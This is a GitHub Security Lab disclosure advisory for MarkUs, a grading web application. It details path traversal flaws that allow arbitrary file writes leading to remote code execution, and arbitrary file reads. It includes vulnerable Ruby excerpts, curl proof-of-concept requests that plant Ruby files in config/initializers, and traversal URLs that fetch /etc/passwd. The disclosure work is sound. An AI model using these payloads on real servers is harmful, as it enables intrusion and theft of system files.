Coordinated Disclosure Timeline
- 2024-03-28: Reported issues via email.
- 2024-06-10: Asked for update.
- 2024-09-17: Asked for update - maintainers are working on advisories.
- 2024-11-18: Advisories were published.
Summary
Several vulnerabilities were found in MarkUs, a web application for the submission and grading of student assignments. They can lead up to Remote Code Execution (RCE) via the submission of a student.
Following issues are part of this report:
- Issue 1: Arbitrary File Write leading up to RCE in SubmissionsController (
GHSL-2024-060
) - (
GHSL-2024-061
has been removed due to having the same sink asGHSL-2024-060
) - Issue 3: Arbitrary File Write leading up to RCE in AutomatedTestsController (
GHSL-2024-062
) - Issue 4: Arbitrary File Write leading up to RCE in StarterFileGroupsController (
GHSL-2024-063
) - Issue 5: Arbitrary File Write leading up to RCE in StarterFileGroupsController API (
GHSL-2024-064
) - Issue 6: Path Traversal in AutomatedTestsController#download_file (
GHSL-2024-065
) - Issue 7: Path Traversal in ExamTemplatesController#download_error_file (
GHSL-2024-066
) - Issue 8: Path Traversal in ExamTemplatesController#download_generate (
GHSL-2024-067
) - Issue 9: Path Traversal in StarterFileGroupsController#download (
GHSL-2024-068
)
Project
MarkUs
Tested Version
Details
Issue 1: Arbitrary File Write leading up to RCE in SubmissionsController
(GHSL-2024-060
)
An arbitrary file write vulnerability accessible via the update_files
method of the SubmissionsController
allows authenticated users (e.g. students) to write arbitrary files to any location on the web server MarkUs is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/
subfolder of the Ruby on Rails application.
In the update_files
method the untrusted params[:path]
flows into the @path
member variable when present:
def update_files
assignment_id = params[:assignment_id]
unzip = params[:unzip] == 'true'
@assignment = Assignment.find(assignment_id)
raise t('student.submission.external_submit_only') if current_role.student? && !@assignment.allow_web_submits
@path = params[:path].presence || '/'
[..]
This @path
is later joined with the @grouping.assignment.repository_folder
:
path = Pathname.new(@grouping.assignment.repository_folder).join(@path.gsub(%r{^/}, ''))
This path then flows into add_file
of RepositoryHelper
:
success, msgs = add_file(f, current_role, repo,
path: path, txn: txn, check_size: true, required_files: required_files)
This path and file content then flows through add
inside of repository.rb
. Then flows into add_file
of GitRepository
and finally ends up inside of write_file
where its written to disk still using the untrusted path from remote:
def write_file(path, file_data)
# Get directory path of file (one level higher)
dir = File.dirname(path)
abs_path = File.join(tmp_repo, dir)
# Create the folder (if not present), creating parents folders if necessary.
# This will not overwrite the folder if it's already present.
FileUtils.mkdir_p(abs_path)
# Create a file and commit it. This will overwrite the
# file on disk if it already exists, but will only make a
# new commit if the file contents have changed.
abs_path = File.join(tmp_repo, path)
File.write(abs_path, file_data.force_encoding('UTF-8'))
non_bare_repo.index.add(path)
end
Note: The untrusted file path can either come from params[:path]
but it can also come from inside a zip file which is unzipped by the upload_files_helper
.
Proof of concept
Precondition: A valid account of a student that is able to upload files for an assignment is required. (The values for the session cookie and the CSRF token need to be replaced with authenticated values in the curl
command below)
curl -i -s -k -X $'POST' \
-H $'Content-Length: 691' -H $'X-CSRF-Token: [..]' -H $'sec-ch-ua-mobile: ?0' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNv2DtbJceKvhDqHJ' -H $'Accept: */*' -H $'X-Requested-With: XMLHttpRequest' -H $'Origin: https://<markus-host>' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: close' \
-b $'_markus_session_csc108=[..]; \
--data-binary $'------WebKitFormBoundaryNv2DtbJceKvhDqHJ\x0d\x0aContent-Disposition: form-data; name=\"new_files[]\"; filename=\"test.rb\"\x0d\x0aContent-Type: text/x-ruby-script\x0d\x0a\x0d\x0aputs \"=================================\"\x0aputs \"=================================\"\x0aputs \"= COMPROMISED =\"\x0aputs \"=================================\"\x0aputs \"=================================\"\x0d\x0a------WebKitFormBoundaryNv2DtbJceKvhDqHJ\x0d\x0aContent-Disposition: form-data; name=\"path\"\x0d\x0a\x0d\x0a../../../../../../../../../../app/config/initializers/\x0d\x0a------WebKitFormBoundaryNv2DtbJceKvhDqHJ\x0d\x0aContent-Disposition: form-data; name=\"grouping_id\"\x0d\x0a\x0d\x0a397\x0d\x0a------WebKitFormBoundaryNv2DtbJceKvhDqHJ\x0d\x0aContent-Disposition: form-data; name=\"unzip\"\x0d\x0a\x0d\x0afalse\x0d\x0a------WebKitFormBoundaryNv2DtbJceKvhDqHJ--\x0d\x0a' \
$'https://<markus-host>/csc108/courses/1/assignments/4/submissions/update_files'
This PoC writes a file called test.rb
to the /app/config/initializers/
folder. (the MarkUs Rails application is located in the /app
folder in the Docker image). Since the initializers are only executed on the start of a Ruby on Rails web application the attacker has to wait for a restart of the web application (or force a restart by performing a denial of service (DoS) attack against the web server).
Once MarkUs is restarted following output will be visible in the log:
rails-1 | =================================
rails-1 | =================================
rails-1 | = COMPROMISED =
rails-1 | =================================
rails-1 | =================================
This means the code provided by the attacker has been executed. (only puts
statements in this case)
Impact
This issue may lead up to Remote Code Execution (RCE) via arbitrary file write.
Issue 3: Arbitrary File Write leading up to RCE in AutomatedTestsController
(GHSL-2024-062
)
An arbitrary file write vulnerability in the upload_files
method of the AutomatedTestsController
allows authenticated instructors to write arbitrary files to any location on the web server MarkUs is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/
subfolder of the Ruby on Rails application.
In the upload_files
method the untrusted params[:path]
is joined with assignment.autotest_files_dir
and the untrusted f.original_filename
:
[..]
file_path = File.join(assignment.autotest_files_dir, params[:path], f.original_filename)
FileUtils.mkdir_p(File.dirname(file_path))
file_content = f.read
File.write(file_path, file_content, mode: 'wb')
[..]
This path is then used to write the submitted file using File.write
.
This vulnerability was found using a CodeQL query which identifies Uncontrolled data used in path expression.
Proof of concept
Precondition: A valid account of an instructor is required. (The values for the session cookie and the CSRF token need to be replaced with authenticated values in the curl
command below)
curl -i -s -k -X $'POST' \
-H $'Content-Length: 586' -H $'X-CSRF-Token: [..]' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynCEON4XPCSZgdZjR' -H $'Accept: */*' -H $'X-Requested-With: XMLHttpRequest' -H $'Origin: https://<markus-host>' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Accept-Encoding: gzip, deflate, br' -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' -H $'Connection: close' \
-b $'_markus_session_csc108=[..] \
--data-binary $'------WebKitFormBoundarynCEON4XPCSZgdZjR\x0d\x0aContent-Disposition: form-data; name=\"new_files[]\"; filename=\"test2.rb\"\x0d\x0aContent-Type: text/x-ruby-script\x0d\x0a\x0d\x0aputs \"=================================\"\x0aputs \"=================================\"\x0aputs \"= COMPROMISED 2 =\"\x0aputs \"=================================\"\x0aputs \"=================================\"\x0d\x0a------WebKitFormBoundarynCEON4XPCSZgdZjR\x0d\x0aContent-Disposition: form-data; name=\"path\"\x0d\x0a\x0d\x0a../../../../../../../../../../app/config/initializers/\x0d\x0a------WebKitFormBoundarynCEON4XPCSZgdZjR\x0d\x0aContent-Disposition: form-data; name=\"unzip\"\x0d\x0a\x0d\x0afalse\x0d\x0a------WebKitFormBoundarynCEON4XPCSZgdZjR--\x0d\x0a' \
$'https://<markus-host>/csc108/courses/1/assignments/1/automated_tests/upload_files'
This PoC writes a file called test2.rb
to the /app/config/initializers/
folder. (the MarkUs Rails application is located in the /app
folder in the Docker image). Since the initializers are only executed on the start of a Ruby on Rails web application the attacker has to wait for a restart of the web application (or force a restart by performing a denial of service (DoS) attack against the web server).
Once MarkUs is restarted following output will be visible in the log:
rails-1 | =================================
rails-1 | =================================
rails-1 | = COMPROMISED 2 =
rails-1 | =================================
rails-1 | =================================
This means the code provided by the attacker has been executed. (only puts
statements in this case)
Impact
This issue may lead up to Remote Code Execution (RCE) via arbitrary file write.
Issue 4: Arbitrary File Write leading up to RCE in StarterFileGroupsController
(GHSL-2024-063
)
An arbitrary file write vulnerability in the update_files
method of the StarterFileGroupsController
allows authenticated instructors to write arbitrary files to any location on the web server MarkUs is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/
subfolder of the Ruby on Rails application.
In the update_files
method the untrusted params[:path]
is joined with starter_file_group.path
and the untrusted f.original_filename
:
[..]
file_path = File.join(starter_file_group.path, params[:path].to_s, f.original_filename)
file_content = f.read
File.write(file_path, file_content, mode: 'wb')
[..]
This path is then used to write the submitted file using File.write
.
This vulnerability was found using a CodeQL query which identifies Uncontrolled data used in path expression.
Proof of concept
Precondition: A valid account of an instructor is required. (The values for the session cookie and the CSRF token need to be replaced with authenticated values in the curl
command below)
curl -i -s -k -X $'POST' \
-H $'Content-Length: 586' -H $'X-CSRF-Token: [..]' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAu8y47IZVLQfw45o' -H $'Accept: */*' -H $'X-Requested-With: XMLHttpRequest' -H $'Origin: https://<markus-host>' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Accept-Encoding: gzip, deflate, br' -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' -H $'Connection: close' \
-b $'_markus_session_csc108=[..]; ' \
--data-binary $'------WebKitFormBoundaryAu8y47IZVLQfw45o\x0d\x0aContent-Disposition: form-data; name=\"new_files[]\"; filename=\"test2.rb\"\x0d\x0aContent-Type: text/x-ruby-script\x0d\x0a\x0d\x0aputs \"=================================\"\x0aputs \"=================================\"\x0aputs \"= COMPROMISED 3 =\"\x0aputs \"=================================\"\x0aputs \"=================================\"\x0d\x0a------WebKitFormBoundaryAu8y47IZVLQfw45o\x0d\x0aContent-Disposition: form-data; name=\"path\"\x0d\x0a\x0d\x0a../../../../../../../../../../app/config/initializers/\x0d\x0a------WebKitFormBoundaryAu8y47IZVLQfw45o\x0d\x0aContent-Disposition: form-data; name=\"unzip\"\x0d\x0a\x0d\x0afalse\x0d\x0a------WebKitFormBoundaryAu8y47IZVLQfw45o--\x0d\x0a' \
$'https://<markus-host>/csc108/courses/1/starter_file_groups/1/update_files'
This PoC writes a file called test2.rb
to the /app/config/initializers/
folder. (the MarkUs Rails application is located in the /app
folder in the Docker image). Since the initializers are only executed on the start of a Ruby on Rails web application the attacker has to wait for a restart of the web application (or force a restart by performing a denial of service (DoS) attack against the web server).
Once MarkUs is restarted following output will be visible in the log:
rails-1 | =================================
rails-1 | =================================
rails-1 | = COMPROMISED 3 =
rails-1 | =================================
rails-1 | =================================
This means the code provided by the attacker has been executed. (only puts
statements in this case)
Impact
This issue may lead up to Remote Code Execution (RCE) via arbitrary file write.
Issue 5: Arbitrary File Write leading up to RCE in StarterFileGroupsController
API (GHSL-2024-064
)
An arbitrary file write vulnerability in the create_file
method of the StarterFileGroupsController
API allows authenticated instructors to write arbitrary files to any location on the web server MarkUs is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/
subfolder of the Ruby on Rails application.
In the create_file
method the untrusted params[:filename]
is joined with starter_file_group.path
:
[..]
file_path = File.join(starter_file_group.path, params[:filename])
File.write(file_path, content, mode: 'wb')
[..]
This path is then used to write the submitted file using File.write
.
This vulnerability was found using a CodeQL query which identifies Uncontrolled data used in path expression.
Proof of concept
Precondition: A valid API key of an instructor is required. (The value `
curl -i -X POST -H "Authorization: MarkUsAuth <API-KEY>" "https://<markus-host>csc108/api/courses/1/starter_file_groups/1/create_file?filename=../../../../../../../../../../app/config/initializers/test3.rb&file_content=puts%20'COMPROMISED4'"
This PoC writes a file called test3.rb
to the /app/config/initializers/
folder. (the MarkUs Rails application is located in the /app
folder in the Docker image). Since the initializers are only executed on the start of a Ruby on Rails web application the attacker has to wait for a restart of the web application (or force a restart by performing a denial of service (DoS) attack against the web server).
Once MarkUs is restarted following output will be visible in the log:
COMPROMISED4
This means the code provided by the attacker has been executed. (only a puts
statement in this case)
Impact
This issue may lead up to Remote Code Execution (RCE) via arbitrary file write.
Issue 6: Path Traversal in AutomatedTestsController#download_file
(GHSL-2024-065
)
A path traversal vulnerability inside of AutomatedTestsController
’s download_file
method allows authenticated instructors to download any file on the web server MarkUs is running on (depending on the file permissions).
In the download_file
method the assignment.autotest_files_dir
is joined with the untrusted params[:file_name]
and then delivered via the send_file_download
helper method which wraps send_file
from Rails:
def download_file
assignment = Assignment.find(params[:assignment_id])
file_path = File.join(assignment.autotest_files_dir, params[:file_name])
filename = File.basename params[:file_name]
if File.exist?(file_path)
send_file_download file_path, filename: filename
else
render plain: t('student.submission.missing_file', file_name: filename)
end
end
Proof of concept
An authenticated instructor can download the /etc/passwd
file by visiting an URL such as:
https://<markus-host>/csc108/courses/1/assignments/2/automated_tests/download_file?file_name=../../../../../../../../../etc/passwd
Impact
This issue may lead to Information Disclosure.
Issue 7: Path Traversal in ExamTemplatesController#download_error_file
(GHSL-2024-066
)
A path traversal vulnerability inside of ExamTemplatesController
’s download_error_file
method allows authenticated instructors to download any file on the web server MarkUs is running on (depending on the file permissions).
In the download_generate
method the exam_template.base_path
is joined with the untrusted params[:file_name]
and then delivered via send_file
from Rails:
def download_error_file
exam_template = record
@assignment = record.assignment
send_file(File.join(exam_template.base_path, 'error', params[:file_name]),
filename: params[:file_name],
type: 'application/pdf')
end
Proof of concept
An authenticated instructor can download the /etc/passwd
file by visiting an URL such as:
https://<markus-host>/csc108/courses/1/exam_templates/1/download_error_file?file_name=../../../../../../../../../etc/passwd
Impact
This issue may lead to Information Disclosure.
Issue 8: Path Traversal in ExamTemplatesController#download_generate
(GHSL-2024-067
)
A path traversal vulnerability inside of ExamTemplatesController
’s download_generate
method allows authenticated instructors to download any file on the web server MarkUs is running on (depending on the file permissions).
In the download_generate
method the exam_template.tmp_path
is joined with the untrusted params[:file_name]
and then delivered via send_file
from Rails:
def download_generate
exam_template = record
send_file(File.join(exam_template.tmp_path, params[:file_name]),
filename: params[:file_name],
type: 'application/pdf')
end
This vulnerability was found using a CodeQL query which identifies Uncontrolled data used in path expression.
Proof of concept
Precondition: A path such as /app/tmp/exam_templates/<ID>/
has to exist. This path is typically generated in the GenerateJob
.
An authenticated instructor can download the /etc/passwd
file by visiting an URL such as:
https://<markus-host>/csc108/courses/1/exam_templates/1/download_generate?file_name=../../../../../../../../../etc/passwd
Impact
This issue may lead to Information Disclosure.
Issue 9: Path Traversal in StarterFileGroupsController#download
(GHSL-2024-068
)
A path traversal vulnerability inside of StarterFileGroupsController
’s download
method allows authenticated instructors to download any file on the web server MarkUs is running on (depending on the file permissions).
In the download_file
method the starter_file_group.path
is joined with the untrusted params[:file_name]
and then delivered via the send_file_download
helper method which wraps send_file
from Rails:
def download_file
starter_file_group = record
file_path = File.join starter_file_group.path, params[:file_name]
filename = File.basename params[:file_name]
if File.exist?(file_path)
send_file_download file_path, filename: filename
else
render plain: t('student.submission.missing_file', file_name: filename)
end
end
Proof of concept
An authenticated instructor can download the /etc/passwd
file by visiting an URL such as:
https://<markus-host>/csc108/courses/1/starter_file_groups/1/download_file?file_name=../../../../../../../../../etc/passwd
Impact
This issue may lead to Information Disclosure.
CVE
- GHSL-2024-060 - CVE-2024-51499
- GHSL-2024-062 - CVE-2024-51743
- GHSL-2024-063 - CVE-2024-51743
- GHSL-2024-064 - CVE-2024-51743
- GHSL-2024-065 - CVE-2024-47820
- GHSL-2024-066 - CVE-2024-47820
- GHSL-2024-067 - CVE-2024-47820
- GHSL-2024-068 - CVE-2024-47820
Credit
These issues were discovered and reported by GHSL team member @p- (Peter Stöckli).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2024-060
, GHSL-2024-062
, GHSL-2024-063
, GHSL-2024-064
, GHSL-2024-065
, GHSL-2024-066
, GHSL-2024-067
, or GHSL-2024-068
in any communication regarding these issues.